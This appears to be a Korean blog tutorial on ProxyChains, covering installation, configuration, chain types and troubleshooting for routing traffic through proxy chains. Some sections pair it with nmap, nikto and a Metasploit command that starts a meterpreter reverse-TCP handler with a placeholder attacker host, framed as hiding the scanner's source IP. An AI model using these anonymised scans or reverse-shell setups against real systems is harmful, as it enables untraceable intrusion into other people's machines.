Pilo

ProxyChains 완벽 가이드 네트워크 익명성과 우회 기술의 모든

⚡ 네트워크 보안과 프라이버시의 필수 도구, ProxyChains!

웹 브라우저를 넘어선 시스템 레벨 프록시 체인 구축으로 완벽한 익명성을 확보하세요.

🎯 ProxyChains란 무엇인가?

ProxyChains는 Linux/Unix 시스템에서 모든 네트워크 트래픽을 다중 프록시 서버를 통해 라우팅하는 강력한 도구입니다. 단순한 웹 브라우저 프록시 설정을 넘어서 시스템 전체 애플리케이션의 네트워크 연결을 프록시 체인으로 우회시킬 수 있습니다.

일반 프록시 vs ProxyChains 비교:

구분 일반 웹 프록시 ProxyChains

적용 범위 웹 브라우저만 모든 애플리케이션
프록시 수 단일 프록시 다중 프록시 체인
익명성 레벨 기본 고도화된 익명성
명령어 지원 불가능 모든 명령어 가능
설정 복잡도 간단 고급 설정 필요

 

프록시체인
프록시체인

 

ProxyChains가 필요한 상황:

  • 네트워크 스캐닝 시 출발지 IP 은닉
  • 지역 차단된 서비스 접근
  • 보안 테스트 시 익명성 확보
  • 정부 검열 우회
  • 개인 정보 보호 강화

🔧 ProxyChains 설치 및 기본 설정

📦 시스템별 설치 방법

Ubuntu/Debian 계열

# 패키지 매니저로 설치
sudo apt update
sudo apt install proxychains4

# 또는 최신 버전 컴파일 설치
git clone <https://github.com/rofl0r/proxychains-ng.git>
cd proxychains-ng
make && sudo make install

CentOS/RHEL/Fedora 계열

# EPEL 저장소 활성화 (CentOS/RHEL)
sudo yum install epel-release

# proxychains 설치
sudo yum install proxychains-ng
# 또는 Fedora의 경우
sudo dnf install proxychains-ng

Arch Linux

sudo pacman -S proxychains-ng

macOS (Homebrew)

brew install proxychains-ng

⚙️ 기본 설정 파일 구성

설정 파일 위치: /etc/proxychains4.conf 또는 ~/.proxychains/proxychains.conf

기본 설정 파일 구조:

# proxychains.conf 기본 설정

# 프록시 체인 타입 설정
dynamic_chain
#strict_chain
#random_chain

# 프록시 DNS 설정 (중요!)
proxy_dns

# 원격 DNS 서버 설정
remote_dns_subnet 224

# 타임아웃 설정 (초)
tcp_read_time_out 15000
tcp_connect_time_out 8000

# 로컬 네트워크 우회 설정
localnet 127.0.0.0/255.0.0.0
localnet 10.0.0.0/255.0.0.0
localnet 172.16.0.0/255.240.0.0
localnet 192.168.0.0/255.255.0.0

# 프록시 서버 목록
[ProxyList]
# 형식: 타입 IP 포트 [사용자명 비밀번호]
socks5  127.0.0.1 9050
http    proxy.example.com 8080 username password
socks4  another-proxy.com 1080

🔄 프록시 체인 타입 설정

1. Dynamic Chain (권장)

dynamic_chain
# 프록시가 죽어도 다음 프록시로 자동 연결
# 가장 안정적이고 실용적

2. Strict Chain

strict_chain
# 모든 프록시를 순서대로 거쳐야 함
# 하나라도 죽으면 연결 실패
# 최고 보안, 하지만 불안정

3. Random Chain

random_chain
# 무작위로 프록시 선택
# 예측 불가능한 경로
chain_len = 3  # 체인 길이 설정

🌐 다양한 프록시 타입 활용법

🔐 SOCKS 프록시 설정

SOCKS5 프록시 (권장)

# Tor 브라우저와 연동
socks5  127.0.0.1 9050

# SSH 터널과 연동
socks5  127.0.0.1 1080

# 상용 SOCKS5 서비스
socks5  premium-proxy.com 1080 username password

SOCKS4 프록시

# 기본 SOCKS4 (인증 불가)
socks4  free-proxy.com 1080

# SOCKS4A (도메인 이름 지원)
socks4  proxy.example.com 1080

🌍 HTTP/HTTPS 프록시 설정

HTTP 프록시

# 기본 HTTP 프록시
http    proxy.company.com 8080

# 인증이 필요한 HTTP 프록시
http    auth-proxy.com 3128 myuser mypass

# HTTPS 터널링 지원
http    secure-proxy.com 443 user pass

🚇 SSH 터널링과 연동

SSH Dynamic Port Forwarding 설정

# 1. SSH 터널 생성
ssh -D 1080 -f -C -q -N user@remote-server.com

# 2. proxychains 설정에 추가
socks5  127.0.0.1 1080

# 3. 사용 예시
proxychains4 curl <https://ifconfig.me>

고급 SSH 터널링

# 다중 홉 SSH 터널
ssh -D 2080 -o ProxyCommand="ssh -W %h:%p jump-server" target-server

# proxychains 설정
socks5  127.0.0.1 2080

💻 실전 활용: 명령어별 사용법

🔍 네트워크 스캐닝 도구와 연동

Nmap과 ProxyChains

# 기본 포트 스캔
proxychains4 nmap -sT -Pn target.com

# 스텔스 스캔 (TCP SYN)
proxychains4 nmap -sS -O target-range

# 서비스 버전 탐지
proxychains4 nmap -sV -p 80,443,22 target.com

# 스크립트 엔진 사용
proxychains4 nmap --script vuln target.com

Nikto 웹 취약점 스캐너

# 기본 웹 스캔
proxychains4 nikto -h <https://target-website.com>

# 상세 스캔 옵션
proxychains4 nikto -h target.com -p 80,443 -T x 6

🌐 웹 도구들과 연동

cURL을 통한 웹 요청

# 기본 HTTP 요청
proxychains4 curl <https://httpbin.org/ip>

# POST 데이터 전송
proxychains4 curl -X POST -d "data=test" <https://target.com/api>

# 헤더 조작
proxychains4 curl -H "User-Agent: Custom" <https://target.com>

wget을 이용한 파일 다운로드

# 파일 다운로드
proxychains4 wget <https://example.com/largefile.zip>

# 재귀적 웹사이트 다운로드
proxychains4 wget -r -l 2 <https://target-site.com>

🔐 보안 도구 연동

Burp Suite와 연동

# Burp Suite Proxy 설정 (8080 포트)
http    127.0.0.1 8080

# 명령어 도구를 Burp를 통해 라우팅
proxychains4 python3 custom-scanner.py

Metasploit과 연동

# Metasploit 콘솔 실행
proxychains4 msfconsole

# 특정 모듈 실행
proxychains4 msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=attacker-ip E

🛡️ 보안과 익명성 강화 기법

🔒 완벽한 익명성을 위한 설정

DNS 누수 방지 설정

# proxychains.conf에서 중요한 설정들
proxy_dns                    # 모든 DNS 쿼리를 프록시로
remote_dns_subnet 224       # 원격 DNS 대역 설정
tcp_read_time_out 15000     # 타임아웃으로 신원 노출 방지
tcp_connect_time_out 8000

IP 누수 방지 검증

# 실제 IP 확인
curl <https://ifconfig.me>

# ProxyChains를 통한 IP 확인
proxychains4 curl <https://ifconfig.me>

# DNS 누수 테스트
proxychains4 nslookup google.com

🌍 지역별 프록시 체인 구성

다국가 프록시 체인 예시

[ProxyList]
# 한국 → 일본 → 미국 → 독일 체인
socks5  kr-proxy.com 1080 user1 pass1
socks5  jp-proxy.com 1080 user2 pass2
http    us-proxy.com 8080 user3 pass3
socks5  de-proxy.com 1080 user4 pass4

지역 차단 우회 전략

# 중국 방화벽 우회 체인
socks5  hk-proxy.com 1080     # 홍콩 프록시
http    sg-proxy.com 8080     # 싱가포르 프록시
socks5  jp-proxy.com 1080     # 일본 프록시

⚡ 성능 최적화 및 고급 설정

🚀 속도 최적화 설정

타임아웃 조정

# 빠른 연결을 위한 설정
tcp_read_time_out 5000      # 읽기 타임아웃 단축
tcp_connect_time_out 3000   # 연결 타임아웃 단축

# 안정성 중심 설정
tcp_read_time_out 30000     # 긴 타임아웃으로 안정성 확보
tcp_connect_time_out 15000

프록시 품질 테스트

#!/bin/bash
# proxy-speed-test.sh

PROXY_LIST="proxy1.com:1080 proxy2.com:8080 proxy3.com:3128"

for proxy in $PROXY_LIST; do
    echo "Testing $proxy..."
    timeout 10 proxychains4 curl -w "Time: %{time_total}s\\n" -s <https://httpbin.org/ip>
    echo "------------------------"
done

🔧 고급 설정 옵션

로그 레벨 조정

# 환경 변수로 로그 레벨 설정
export PROXYCHAINS_QUIET_MODE=1     # 조용한 모드
export PROXYCHAINS_CONF_FILE="./custom.conf"  # 커스텀 설정 파일

커스텀 설정 파일 사용

# 프로젝트별 설정 파일
proxychains4 -f ./project-proxy.conf nmap target.com

# 임시 설정으로 실행
PROXYCHAINS_CONF_FILE=./temp.conf proxychains4 curl google.com

🚨 트러블슈팅 및 문제 해결

🔍 일반적인 문제들

1. DNS 해상도 실패

# 증상: DNS resolution failed
# 해결책
proxy_dns                  # 설정 파일에서 활성화
remote_dns_subnet 224      # 적절한 서브넷 설정

# 테스트
proxychains4 nslookup google.com 8.8.8.8

2. 프록시 연결 실패

# 프록시 상태 확인 스크립트
#!/bin/bash
check_proxy() {
    local proxy_type=$1
    local proxy_host=$2
    local proxy_port=$3

    echo "Checking $proxy_type://$proxy_host:$proxy_port"

    if [[ $proxy_type == "socks"* ]]; then
        nc -z $proxy_host $proxy_port && echo "✓ Connected" || echo "✗ Failed"
    else
        curl -I --connect-timeout 5 --proxy $proxy_host:$proxy_port <https://httpbin.org/ip>
    fi
}

# 사용법
check_proxy socks5 127.0.0.1 9050

3. 느린 연결 속도

# 병목 지점 찾기
time proxychains4 curl <https://httpbin.org/ip>

# 각 프록시별 성능 측정
for i in {1..5}; do
    echo "Test $i:"
    time proxychains4 curl -s <https://httpbin.org/ip> > /dev/null
done

 

저작자표시 비영리 변경금지 (새창열림)

'IT/네트워크(Network)' 관련 정보 더 얻기

더 보기

댓글

Copyright © Pilo All Rights Reserved

Designed by JB FACTORY

티스토리툴바